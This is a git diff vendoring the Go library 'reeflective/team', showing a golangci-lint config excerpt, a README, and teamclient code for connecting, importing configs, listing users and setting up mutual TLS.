this option we use default exclude patterns, + # it can be disabled by `exclude-use-default: false`. + # To list all excluded by default patterns execute `golangci-lint run --help` + # + # Default: [] + # exclude: + # - abcdef + + # Excluding configuration per-path, per-linter, per-text and per-source + exclude-rules: + # Exclude some linters from running on tests files. + - path: _test\.go + linters: + - gocyclo + - errcheck + - dupl + - gosec + + # Exclude known linters from partially hard-vendored code, + # which is impossible to exclude via `nolint` comments. + # - path: internal/hmac/ + # text: "weak cryptographic primitive" + # linters: + # - gosec + + # Exclude some `staticcheck` messages. + # - linters: + # - staticcheck + # text: "SA9003:" + + # Exclude `lll` issues for long lines with `go:generate`. + - linters: + - lll + source: "^//go:generate " + + # Independently of option `exclude` we use default exclude patterns, + # it can be disabled by this option. + # To list all excluded by default patterns execute `golangci-lint run --help`. + # Default: true. + # exclude-use-default: false + + # If set to true exclude and exclude-rules regular expressions become case-sensitive. + # Default: false + # exclude-case-sensitive: false + + # The list of ids of default excludes to include or disable. + # Default: [] + # include: + # - EXC0002 # disable excluding of issues about comments from golint. + + # Maximum issues count per one linter. + # Set to 0 to disable. + # Default: 50 + # max-issues-per-linter: 0 + # Maximum count of issues with the same text. + # Set to 0 to disable. + # Default: 3 + max-same-issues: 0 + # Show only new issues: if there are unstaged changes or untracked files, + # only those changes are analyzed, else only changes in HEAD~ are analyzed. + # It's a super-useful option for integration of golangci-lint into existing large codebase. + # It's not practical to fix all existing issues at the moment of integration: + # much better don't allow issues in new code. + # + # Default: false. + new: true + # Show only new issues created after git revision `REV`. + new-from-rev: HEAD + # Show only new issues created in git patch with set file path. + new-from-patch: path/to/patch/file + # Fix found issues (if it's supported by the linter). + fix : true + +# +# ---------------------------- Issues severity manament -------------------------------- # +# +# severity: + # Set the default severity for issues. + # + # If severity rules are defined and the issues do not match or no severity is provided to the rule + # this will be the default severity applied. + # Severities should match the supported severity names of the selected out format. + # - Code climate: https://docs.codeclimate.com/docs/issues#issue-severity + # - Checkstyle: https://checkstyle.sourceforge.io/property_types.html#severity + # - GitHub: https://help.github.com/en/actions/reference/workflow-commands-for-github-actions#setting-an-error-message + # + # Default value is an empty string. + # default-severity: error + # If set to true `severity-rules` regular expressions become case-sensitive. + # Default: false + # case-sensitive: true + # When a list of severity rules are provided, severity information will be added to lint issues. + # Severity rules have the same filtering capability as exclude rules + # except you are allowed to specify one matcher per severity rule. + # Only affects out formats that support setting severity information. + # + # Default: [] + # rules: + # - linters: + # - dupl + # severity: info + +# +# ---------------------------- Per-linter Configuration -------------------------------- # +# diff --git a/vendor/github.com/reeflective/team/README.md b/vendor/github.com/reeflective/team/README.md new file mode 100644 index 0000000000..d9e926c2e7 --- /dev/null +++ b/vendor/github.com/reeflective/team/README.md @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + +

    +

    Team

    + +

    Transform any Go program into a client of itself, remotely or locally.

    +

    Use, manage teamservers and clients with code, with their CLI, or both.

    +
    + + + + + + +
    + + +----- + +## Summary + +----- + +## CLI examples (users) + +----- + +## API examples (developers) + +----- + +## Documentation + +----- + +## Status + +The Command-Line and Application-Programming Interfaces of this library are unlikely to change +much in the future, and should be considered mostly stable. These might grow a little bit, but +will not shrink, as they been already designed to be as minimal as they could be. + +In particular, `client.Options` and `server.Options` APIs might grow, so that new features/behaviors +can be integrated without the need for the teamclients and teamservers types APIs to change. + +The section **Possible Enhancements** below includes 9 points, which should grossly be equal +to 9 minor releases (`0.1.0`, `0.2.0`, `0.3.0`, etc...), ending up in `v1.0.0`. + +- Please open a PR or an issue if you face any bug, it will be promptly resolved. +- New features and/or PRs are welcome if they are likely to be useful to most users. + +----- + +## Possible enhancements + +The list below is not an indication on the roadmap of this repository, but should be viewed as +things the author of this library would be very glad to merge contributions for, or get ideas. +This teamserver library aims to remain small, with a precise behavior and role. +Overall, contributions and ideas should revolve around strenghening its core/transport code +or around enhancing its interoperability with as much Go code/programs as possible. + +- [ ] Use viper for configs. +- [ ] Use afero filesystem. +- [ ] Add support for encrypted sqlite by default. +- [ ] Encrypt in-memory channels, or add option for it. +- [ ] Simpler/different listener/dialer backend interfaces, if it appears needed. +- [ ] Abstract away the client-side authentication, for pluggable auth/credential models. +- [ ] Replace logrus entirely and restructure behind a single package used by both client/server. +- [ ] Review/refine/strenghen the dialer/listener init/close/start process, if it appears needed. +- [ ] `teamclient update` downloads latest version of the server binary + method to `team.Client` for it. + diff --git a/vendor/github.com/reeflective/team/client/client.go b/vendor/github.com/reeflective/team/client/client.go new file mode 100644 index 0000000000..30097e7fdc --- /dev/null +++ b/vendor/github.com/reeflective/team/client/client.go @@ -0,0 +1,282 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path/filepath" + "sync" + + "github.com/reeflective/team" + "github.com/reeflective/team/internal/assets" + "github.com/sirupsen/logrus" +) + +// Client is the core driver of an application teamclient. +// It provides the core tools needed by any application/program +// to be the client of an local/remote/in-memory teamserver. +// +// This client object is by default not connected to any teamserver, +// and has therefore no way of fulfilling its core duties, on purpose. +// The client also DOES NOT include any teamserver-side code. +// +// This teamclient core job is to: +// - Fetch, configure and use teamserver endpoint configurations. +// - Drive the process of connecting to & disconnecting from a server. +// - Query a teamserver for its version and users information. +// +// Additionally, this client offers: +// - Pre-configured loggers for all client-side related events. +// - Various options to configure its backends and behaviors. +// - A builtin, abstracted and app-specific filesystem (in memory or on disk). +// +// Various combinations of teamclient/teamserver usage are possible. +// Please see the Go module example/ directory for a list of them. +type Client struct { + name string // Name of the teamclient/teamserver application. + homeDir string // APP_ROOT_DIR var, evaluated once when creating the server. + opts *opts // All configurable things for the teamclient. + fileLogger *logrus.Logger // By default, hooked to also provide stdout logging. + stdoutLogger *logrus.Logger // Fallback logger. + fs *assets.FS // Embedded or on-disk application filesystem. + mutex *sync.RWMutex // Sync access. + initOpts sync.Once // Some options can only be set once when creating the server. + + dialer Dialer[any] // Connection backend for the teamclient. + connect *sync.Once // A client can only connect once per run. + + // Client is the implementation of the core teamclient functionality, + // which is to query a server version and its current users. + // This type is either implementated by a teamserver when the client + // is in-memory, or by a user-defined type which is generally a RPC. + client team.Client +} + +// Dialer represents a type using a teamclient core (and its configured teamserver +// remote) to setup, initiate and use a connection to this remote teamserver. +// +// The type parameter `clientConn` of this interface is a purely syntactic sugar +// to indicate that any dialer should/may return a user-defined but specific object +// from its Dial() method. Library users can register hooks to the teamclient.Client +// using this dialer, and this clientConn will be provided to these hooks. +// +// Examples of what this clientConn can be: +// - The clientConn is a specific, but non-idiomatic RPC client (ex: a *grpc.ClientConn). +// - A simple net.Conn over which anything can be done further. +// - Nothing: a dialer might not need to use or even create a client connection. +type Dialer[clientConn any] interface { + // Init is used by any dialer to query the teamclient driving it about: + // - The remote teamserver address and transport credentials + // - The user registered in this remote teamserver configuration. + // - To make use of client-side loggers, filesystem and other utilities. + Init(c *Client) error + + // Dial should connect to the endpoint available in the client configuration. + // Note that the configuration is not required as a function parameter, since + // the dialer has already been provided access to the entire teamclient in Init() + // The c`clientConn` type is then passed to all hook functions registered + // with the dialer when using the client.WithDialer(dialer, hooks...) option. + Dial() (conn clientConn, err error) + + // Close should close the connection or any related component. + Close() error +} + +// New is the required constructor of a new application teamclient. +// Parameters: +// - The name of the application using the teamclient. +// - Variadic options (...Options) which are applied at creation time. +// - A type implementing the team.Client interface. +// +// Depending on constraints and use cases, the client uses different +// backends and/or RPC implementations providing this functionality: +// - When used in-memory and as a client of teamserver. +// - When being provided a specific dialer/client/RPC backend. +// +// The teamclient will only perform a few init things before being returned: +// - Setup its filesystem, either on-disk (default behavior) or in-memory. +// - Initialize loggers and the files they use, if any. +// +// This may return an error if the teamclient is unable to work with the provided +// options (or lack thereof), which may happen if the teamclient cannot use and write +// to its directories and log files. No client is returned if the error is not nil. +func New(app string, client team.Client, options ...Options) (*Client, error) { + teamclient := &Client{ + name: app, + opts: defaultOpts(), + client: client, + connect: &sync.Once{}, + mutex: &sync.RWMutex{}, + fs: &assets.FS{}, + } + + teamclient.apply(options...) + + // Filesystem (in-memory or on disk) + user, _ := user.Current() + root := filepath.Join(user.HomeDir, "."+teamclient.name) + teamclient.fs = assets.NewFileSystem(root, teamclient.opts.inMemory) + + // Logging (if allowed) + if err := teamclient.initLogging(); err != nil { + return nil, err + } + + return teamclient, nil +} + +// Connect uses the default client configurations to connect to the teamserver. +// +// This call might be blocking and expect user input: if multiple server +// configurations are found in the application directory, the application +// will prompt the user to choose one of them. +// If the teamclient was created WithConfig() option, or if passed in this +// call, user input is guaranteed NOT to be needed. +// +// It only connects the teamclient if it has an available dialer. +// If none is available, this function returns no error, as it is +// possible that this client has a teamclient implementation ready. +func (tc *Client) Connect(options ...Options) (err error) { + tc.apply(options...) + + // Don't connect if we don't have the connector. + if tc.dialer == nil { + return nil + } + + tc.connect.Do(func() { + // If we don't have a provided configuration, + // load one from disk, otherwise do nothing. + err = tc.initConfig() + if err != nil { + err = tc.errorf("%w: %w", ErrConfig, err) + return + } + + // Initialize the dialer with our client. + err = tc.dialer.Init(tc) + if err != nil { + err = tc.errorf("%w: %w", ErrConfig, err) + return + } + + // Connect to the teamserver. + var client any + + client, err = tc.dialer.Dial() + if err != nil { + err = tc.errorf("%w: %w", ErrClient, err) + return + } + + // Post-run hooks are used by consumers to further setup/consume + // the connection after the latter was established. In the case + // of RPCs, this client is generally used to register them. + for _, hook := range tc.opts.hooks { + if err = hook(client); err != nil { + err = tc.errorf("%w: %w", ErrClient, err) + return + } + } + }) + + return err +} + +// Disconnect disconnects the client from the server, closing the connection +// and the client log file. Any errors are logged to this file and returned. +// If the teamclient has been passed the WithNoDisconnect() option, it won't +// disconnect. +func (tc *Client) Disconnect() error { + if tc.opts.console { + return nil + } + + // The client can reconnect.. + defer func() { + tc.connect = &sync.Once{} + }() + + if tc.dialer == nil { + return nil + } + + err := tc.dialer.Close() + if err != nil { + tc.log().Error(err) + } + + return err +} + +// Users returns a list of all users registered to the application server. +// If the teamclient has no backend, it returns an ErrNoTeamclient error. +// If the backend returns an error, the latter is returned as is. +func (tc *Client) Users() (users []team.User, err error) { + if tc.client == nil { + return nil, ErrNoTeamclient + } + + res, err := tc.client.Users() + if err != nil && len(res) == 0 { + return nil, err + } + + return res, nil +} + +// ServerVersion returns the version information of the server to which +// the client is connected. +// If the teamclient has no backend, it returns an ErrNoTeamclient error. +// If the backend returns an error, the latter is returned as is. +func (tc *Client) ServerVersion() (ver team.Version, err error) { + if tc.client == nil { + return ver, ErrNoTeamclient + } + + version, err := tc.client.Version() + if err != nil { + return + } + + return version, nil +} + +// Name returns the name of the client application. +func (tc *Client) Name() string { + return tc.name +} + +// Filesystem returns an abstract filesystem used by the teamclient. +// This filesystem can be either of two things: +// - By default, the on-disk filesystem, without any specific bounds. +// - If the teamclient was created with the InMemory() option, a full +// in-memory filesystem (with root `.app/`). +// +// Use cases for this filesystem might include: +// - The wish to have a fully abstracted filesystem to work for testing +// - Ensuring that the filesystem code in your application remains the +// same regardless of the underlying, actual filesystem. +// +// The type returned is currently an internal type because it wraps some +// os.Filesystem methods for working more transparently: this may change +// in the future if the Go stdlib offers write support to its new io/fs.FS. +func (tc *Client) Filesystem() *assets.FS { + return tc.fs +} diff --git a/vendor/github.com/reeflective/team/client/commands/commands.go b/vendor/github.com/reeflective/team/client/commands/commands.go new file mode 100644 index 0000000000..8c0548d2a6 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/commands.go @@ -0,0 +1,230 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io/fs" + "os" + "path/filepath" + "strings" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" + "github.com/rsteube/carapace" + "github.com/rsteube/carapace/pkg/style" + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// Generate returns a command tree to embed in client applications connecting +// to a teamserver. It requires only the client to use its functions. +// +// All commands of the tree include an automatic call to client.Connect() to make +// sure they can reach the server for the stuff they need. Thus no pre-runners are +// bound to them for this purpose, and users of this command tree are free to add any. +// +// This tree is only safe to embed within closed-loop applications provided that the +// client *Client was created with WithNoDisconnect(), so that commands can reuse +// their connections more than once before closing. +func Generate(cli *client.Client) *cobra.Command { + clientCmds := clientCommands(cli) + return clientCmds +} + +// PreRun returns a cobra command runner which connects the client to its teamserver. +// If the client is connected, nothing happens and its current connection reused. +// +// Feel free to use this function as a model for your own teamclient pre-runners. +func PreRun(teamclient *client.Client, opts ...client.Options) command.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + teamclient.SetLogWriter(cmd.OutOrStdout(), cmd.ErrOrStderr()) + + // Ensure we are connected or do it. + return teamclient.Connect(opts...) + } +} + +// PreRunNoDisconnect is a pre-runner that will connect the teamclient with the +// client.WithNoDisconnect() option, so that after each execution, the client +// connection is kept open. This pre-runner is thus useful for console apps. +// +// Feel free to use this function as a model for your own teamclient pre-runners. +func PreRunNoDisconnect(teamclient *client.Client, opts ...client.Options) command.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + teamclient.SetLogWriter(cmd.OutOrStdout(), cmd.ErrOrStderr()) + + opts = append(opts, client.WithNoDisconnect()) + + // The NoDisconnect will prevent teamclient.Disconnect() to close the conn. + return teamclient.Connect(opts...) + } +} + +// PostRun is a cobra command runner that simply calls client.Disconnect() to close +// the client connection from its teamserver. If the client/commands was configured +// with WithNoDisconnect, this pre-runner will do nothing. +func PostRun(client *client.Client) command.CobraRunnerE { + return func(cmd *cobra.Command, _ []string) error { + return client.Disconnect() + } +} + +func clientCommands(cli *client.Client) *cobra.Command { + teamCmd := &cobra.Command{ + Use: "teamclient", + Short: "Client-only teamserver commands (import configs, show users, etc)", + SilenceUsage: true, + } + + teamFlags := pflag.NewFlagSet("teamserver", pflag.ContinueOnError) + teamFlags.CountP("verbosity", "v", "Counter flag (-vvv) to increase log verbosity on stdout (1:panic -> 7:debug)") + teamCmd.PersistentFlags().AddFlagSet(teamFlags) + + versionCmd := &cobra.Command{ + Use: "version", + Short: "Print teamserver client version", + RunE: versionCmd(cli), + } + + teamCmd.AddCommand(versionCmd) + + importCmd := &cobra.Command{ + Use: "import", + Short: fmt.Sprintf("Import a teamserver client configuration file for %s", cli.Name()), + Run: importCmd(cli), + ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { + return []string{}, cobra.ShellCompDirectiveDefault + }, + } + + iFlags := pflag.NewFlagSet("import", pflag.ContinueOnError) + iFlags.BoolP("default", "d", false, "Set this config as the default one, if no default config exists already.") + importCmd.Flags().AddFlagSet(iFlags) + + iComps := carapace.Gen(importCmd) + iComps.PositionalCompletion( + carapace.Batch( + carapace.ActionCallback(ConfigsCompleter(cli, "teamclient/configs", ".teamclient.cfg", "other teamserver apps", true)), + carapace.ActionFiles().Tag("server configuration").StyleF(getConfigStyle(".teamclient.cfg")), + ).ToA(), + ) + + teamCmd.AddCommand(importCmd) + + usersCmd := &cobra.Command{ + Use: "users", + Short: "Display a table of teamserver users and their status", + RunE: usersCmd(cli), + } + + teamCmd.AddCommand(usersCmd) + + return teamCmd +} + +// ConfigsCompleter completes file paths to other teamserver application configs (clients/users CA, etc) +// The filepath is the directory between .app/ and the target directory where config files of a certain +// type should be found, ext is the normal/default extension for those target files, and tag is used in comps. +func ConfigsCompleter(cli *client.Client, filePath, ext, tag string, noSelf bool) carapace.CompletionCallback { + return func(ctx carapace.Context) carapace.Action { + var compErrors []carapace.Action + + homeDir, err := os.UserHomeDir() + if err != nil { + compErrors = append(compErrors, carapace.ActionMessage("failed to get user home dir: %s", err)) + } + + dirs, err := os.ReadDir(homeDir) + if err != nil { + compErrors = append(compErrors, carapace.ActionMessage("failed to list user directories: %s", err)) + } + + var results []string + + for _, dir := range dirs { + if !isConfigDir(cli, dir, noSelf) { + continue + } + + configPath := filepath.Join(homeDir, dir.Name(), filePath) + + if configs, err := os.Stat(configPath); err == nil { + if !configs.IsDir() { + continue + } + + files, _ := os.ReadDir(configPath) + for _, file := range files { + if !strings.HasSuffix(file.Name(), ext) { + continue + } + + filePath := filepath.Join(configPath, file.Name()) + + cfg, err := cli.ReadConfig(filePath) + if err != nil || cfg == nil { + continue + } + + results = append(results, filePath) + results = append(results, fmt.Sprintf("[%s] %s:%d", cfg.User, cfg.Host, cfg.Port)) + } + } + } + + configsAction := carapace.ActionValuesDescribed(results...).StyleF(getConfigStyle(ext)) + + if len(compErrors) > 0 { + return carapace.Batch(append(compErrors, configsAction)...).ToA() + } + + return configsAction.Tag(tag) + } +} + +func isConfigDir(cli *client.Client, dir fs.DirEntry, noSelf bool) bool { + if !strings.HasPrefix(dir.Name(), ".") { + return false + } + + if !dir.IsDir() { + return false + } + + if strings.TrimPrefix(dir.Name(), ".") != cli.Name() { + return false + } + + if noSelf { + return false + } + + return true +} + +func getConfigStyle(ext string) func(s string, sc style.Context) string { + return func(s string, sc style.Context) string { + if strings.HasSuffix(s, ext) { + return style.Red + } + + return s + } +} diff --git a/vendor/github.com/reeflective/team/client/commands/import.go b/vendor/github.com/reeflective/team/client/commands/import.go new file mode 100644 index 0000000000..166a86c20a --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/import.go @@ -0,0 +1,60 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "fmt" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" +) + +func importCmd(cli *client.Client) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + cli.SetLogLevel(logLevel + int(logrus.ErrorLevel)) + } + } + + if 0 < len(args) { + for _, arg := range args { + conf, err := cli.ReadConfig(arg) + if jsonErr, ok := err.(*json.SyntaxError); ok { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", jsonErr.Error()) + } else if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err.Error()) + continue + } + + if err = cli.SaveConfig(conf); err == nil { + fmt.Fprintln(cmd.OutOrStdout(), command.Info+"Saved new client config in ", cli.ConfigsDir()) + } else { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err.Error()) + } + } + } else { + fmt.Fprintln(cmd.OutOrStdout(), "Missing config file path, see --help") + } + } +} diff --git a/vendor/github.com/reeflective/team/client/commands/users.go b/vendor/github.com/reeflective/team/client/commands/users.go new file mode 100644 index 0000000000..f3045c9794 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/users.go @@ -0,0 +1,89 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "time" + + "github.com/jedib0t/go-pretty/v6/table" + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" +) + +func usersCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, args []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + cli.SetLogLevel(logLevel + int(logrus.ErrorLevel)) + } + } + + if err := cli.Connect(); err != nil { + return err + } + + // Server + users, err := cli.Users() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Server error: %s\n", err) + } + + tbl := &table.Table{} + tbl.SetStyle(command.TableStyle) + + tbl.AppendHeader(table.Row{ + "Name", + "Status", + "Last seen", + }) + + for _, user := range users { + lastSeen := user.LastSeen.Format(time.RFC1123) + + if !user.LastSeen.IsZero() { + lastSeen = time.Since(user.LastSeen).Round(1 * time.Second).String() + } + + var status string + if user.Online { + status = command.Bold + command.Green + "Online" + command.Normal + } else { + status = command.Bold + command.Red + "Offline" + command.Normal + } + + tbl.AppendRow(table.Row{ + user.Name, + status, + lastSeen, + }) + } + + if len(users) > 0 { + fmt.Fprintln(cmd.OutOrStdout(), tbl.Render()) + } else { + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"The %s teamserver has no users\n", cli.Name()) + } + + return nil + } +} diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go new file mode 100644 index 0000000000..ffd5b9a1b8 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/commands/version.go @@ -0,0 +1,63 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/internal/version" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" +) + +func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, args []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + cli.SetLogLevel(logLevel + int(logrus.ErrorLevel)) + } + } + + if err := cli.Connect(); err != nil { + return err + } + + // Server + serverVer, err := cli.ServerVersion() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Server error: %s\n", err) + } + + dirty := "" + if serverVer.Dirty { + dirty = fmt.Sprintf(" - %sDirty%s", command.Bold, command.Normal) + } + + serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Server v%s - %s%s\n", serverSemVer, serverVer.Commit, dirty) + + // Client + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Client %s\n", version.Full()) + + return nil + } +} diff --git a/vendor/github.com/reeflective/team/client/config.go b/vendor/github.com/reeflective/team/client/config.go new file mode 100644 index 0000000000..f4b4028d35 --- /dev/null +++ b/vendor/github.com/reeflective/team/client/config.go @@ -0,0 +1,256 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "encoding/json" + "fmt" + "io" + "os" + "path/filepath" + "sort" + + "github.com/reeflective/team/internal/certs" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/internal/log" + "gopkg.in/AlecAivazis/survey.v1" +) + +const ( + fileWriteModePerm = 0o600 +) + +// Config is a JSON client connection configuration. +// It contains the addresses of a team server, the name of the user +// allowed to connect to it, and cryptographic material to secure and +// authenticate the client-server connection (using Mutual TLS). +type Config struct { + User string `json:"user"` // This value is actually ignored for the most part (cert CN is used instead) + Host string `json:"host"` + Port int `json:"port"` + Token string `json:"token"` + CACertificate string `json:"ca_certificate"` + PrivateKey string `json:"private_key"` + Certificate string `json:"certificate"` +} + +func (tc *Client) initConfig() error { + cfg := tc.opts.config + + // We assume that any configuration passed with WithConfig() + // has a non-empty user name, even if its the server itself. + if cfg.User != "" { + return nil + } + + // Else fetch the unique config or prompt user for which. + if !tc.opts.local { + configs := tc.GetConfigs() + if len(configs) == 0 { + return tc.errorf("no config files found at %s", tc.ConfigsDir()) + } + + cfg = tc.SelectConfig() + } + + // We must have a config. + if cfg == nil { + return ErrNoConfig + } + + tc.opts.config = cfg + + return nil +} + +// GetConfigs returns a list of available configs in the application +// teamclient remote server configs directory (~/.app/teamclient/configs/). +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) GetConfigs() map[string]*Config { + configDir := tc.ConfigsDir() + + configFiles, err := os.ReadDir(configDir) + if err != nil { + tc.log().Errorf("No configs found: %s", err) + return map[string]*Config{} + } + + confs := map[string]*Config{} + + for _, confFile := range configFiles { + confFilePath := filepath.Join(configDir, confFile.Name()) + + conf, err := tc.ReadConfig(confFilePath) + if err != nil { + continue + } + + digest := sha256.Sum256([]byte(conf.Certificate)) + confs[fmt.Sprintf("%s@%s (%x)", conf.User, conf.Host, digest[:8])] = conf + } + + return confs +} + +// ReadConfig loads a client config into a struct. +// Errors are returned as is: users can check directly for JSON/encoding/filesystem errors. +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) ReadConfig(confFilePath string) (*Config, error) { + confFile, err := os.Open(confFilePath) + if err != nil { + return nil, fmt.Errorf("open failed: %w", err) + } + defer confFile.Close() + + data, err := io.ReadAll(confFile) + if err != nil { + return nil, fmt.Errorf("read failed: %w", err) + } + + conf := &Config{} + + err = json.Unmarshal(data, conf) + if err != nil { + return nil, fmt.Errorf("parse failed: %w", err) + } + + return conf, nil +} + +// SaveConfig saves a client config to disk. +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) SaveConfig(config *Config) error { + if config.User == "" { + return ErrConfigNoUser + } + + configDir := tc.ConfigsDir() + + // If we are in-memory, still make the directory. + if _, err := os.Stat(configDir); os.IsNotExist(err) { + if err = os.MkdirAll(configDir, log.DirPerm); err != nil { + return tc.errorf("%w: %w", ErrConfig, err) + } + } + + filename := fmt.Sprintf("%s_%s.%s", filepath.Base(config.User), filepath.Base(config.Host), command.ClientConfigExt) + saveTo, _ := filepath.Abs(filepath.Join(configDir, filename)) + + configJSON, err := json.Marshal(config) + if err != nil { + return fmt.Errorf("%w: %w", ErrConfig, err) + } + + err = os.WriteFile(saveTo, configJSON, fileWriteModePerm) + if err != nil { + return tc.errorf("Failed to write config to: %s (%w)", saveTo, err) + } + + tc.log().Infof("Saved new client config to: %s", saveTo) + + return nil +} + +// SelectConfig either returns the only configuration found in the app +// client remote configs directory, or prompts the user to select one. +// This call might thus be blocking, and expect user input. +// +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (tc *Client) SelectConfig() *Config { + configs := tc.GetConfigs() + + if len(configs) == 0 { + return nil + } + + if len(configs) == 1 { + for _, config := range configs { + return config + } + } + + answer := struct{ Config string }{} + qs := getPromptForConfigs(configs) + + err := survey.Ask(qs, &answer) + if err != nil { + tc.log().Errorf("config prompt failed: %s", err) + return nil + } + + return configs[answer.Config] +} + +// Config returns the currently used teamclient server configuration. +// This configuration might be empty (not nil), if no specific server +// configuration was loaded by the client yet. +func (tc *Client) Config() *Config { + return tc.opts.config +} + +// NewTLSConfigFrom generates a working client TLS configuration prepared for Mutual TLS. +// It requires the three credential materials presents in any user remote teamserver config. +func (tc *Client) NewTLSConfigFrom(caCert string, cert string, key string) (*tls.Config, error) { + certPEM, err := tls.X509KeyPair([]byte(cert), []byte(key)) + if err != nil { + return nil, fmt.Errorf("Cannot parse client certificate: %w", err) + } + + // Load CA cert + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM([]byte(caCert)) + + // Setup config with custom certificate validation routine + tlsConfig := &tls.Config{ + Certificates: []tls.Certificate{certPEM}, + RootCAs: caCertPool, + InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing + VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error { + return certs.RootOnlyVerifyCertificate(caCert, rawCerts) + }, + } + + return tlsConfig, nil +} + +func getPromptForConfigs(configs map[string]*Config) []*survey.Question { + keys := []string{} + for k := range configs { + keys = append(keys, k) + } + + sort.Strings(keys) + + return []*survey.Question{ + { + Name: "config", + Prompt: &survey.Select{ + Message: "Select a server:", + Options: keys, + Default: keys[0], + }, + }, + } +} diff --git a/vendor/github.com/reeflective/team/client/directories.go 